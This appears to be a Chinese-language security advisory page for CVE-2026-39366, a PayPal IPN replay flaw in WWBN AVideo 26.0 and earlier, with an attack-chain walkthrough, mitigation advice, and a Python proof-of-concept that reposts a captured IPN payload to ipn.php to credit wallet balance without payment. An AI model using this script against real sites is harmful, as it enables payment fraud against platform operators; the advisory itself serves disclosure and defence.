IPBUF安全漏洞报告
English
CVE-2026-39366 CVSS 6.5 中危

CVE-2026-39366 AVideo PayPal IPN重放漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39366
漏洞类型
重放攻击
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

重放攻击WWBN AVideo支付漏洞逻辑漏洞

漏洞概述

WWBN AVideo开源视频平台26.0及之前版本存在漏洞,PayPal IPN v1处理程序缺少交易去重机制。攻击者可重放合法IPN通知,重复增加钱包余额并续订订阅,而无需实际付款。

技术细节

该漏洞源于PayPal集成逻辑的设计缺陷。位于`plugin/PayPalYPT/ipn.php`的v1处理程序在处理支付通知时,未校验交易ID(txn_id)是否已被处理。攻击者只需获取一次合法的IPN请求载荷,即可向该端点重复发送相同的POST请求。由于系统缺乏去重检查,会将重复请求误认为新的支付入账,从而允许攻击者凭空充值或延长服务期限。

攻击链分析

STEP 1
信息收集
确认目标使用WWBN AVideo 26.0或更早版本,并启用了PayPal支付插件。
STEP 2
获取载荷
攻击者通过自身账户进行一次小额充值,抓包或记录下PayPal发送给`ipn.php`的IPN通知数据包,特别是`txn_id`。
STEP 3
重放攻击
编写脚本或使用工具,向`plugin/PayPalYPT/ipn.php`重复发送该IPN数据包。
STEP 4
利用结果
由于系统未校验`txn_id`的唯一性,每次重放请求都会导致系统认为收到新付款,从而增加攻击者的钱包余额。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_avideo_replay(target_url, txn_id, amount): """ PoC for CVE-2026-39366: Replay a PayPal IPN notification. """ ipn_payload = { 'mc_gross': amount, 'protection_eligibility': 'Ineligible', 'payer_id': 'TESTPAYERID', 'tax': '0.00', 'payment_date': '20:12:2026', 'payment_status': 'Completed', 'charset': 'windows-1252', 'first_name': 'Test', 'mc_fee': '0.00', 'notify_version': '3.9', 'custom': 'attacker_user_id', 'payer_status': 'verified', 'business': '[email protected]', 'quantity': '1', 'verify_sign': 'SIG_PLACEHOLDER', 'payer_email': '[email protected]', 'txn_id': txn_id, # Vulnerable: Replaying this ID 'payment_type': 'instant', 'last_name': 'User', 'receiver_email': '[email protected]', 'payment_fee': '0.00', 'receiver_id': 'TESTRECEIVERID', 'txn_type': 'web_accept', 'item_name': 'Wallet Balance', 'mc_currency': 'USD', 'item_number': '', 'residence_country': 'US', 'handling_amount': '0.00', 'transaction_subject': '', 'payment_gross': amount, 'shipping': '0.00', 'ipn_track_id': 'placeholder' } try: response = requests.post(f"{target_url}/plugin/PayPalYPT/ipn.php", data=ipn_payload) if response.status_code == 200: print(f"[+] Request sent successfully. Check if balance increased for txn_id: {txn_id}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit_avideo_replay("http://target-site", "VALID_TXN_ID_TO_REPLAY", "100.00")

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即将计费计划的回调通知地址(notify_url)从`plugin/PayPalYPT/ipn.php`修改为已实现去重功能的`webhook.php`或`ipnV2.php`,直到完成官方版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表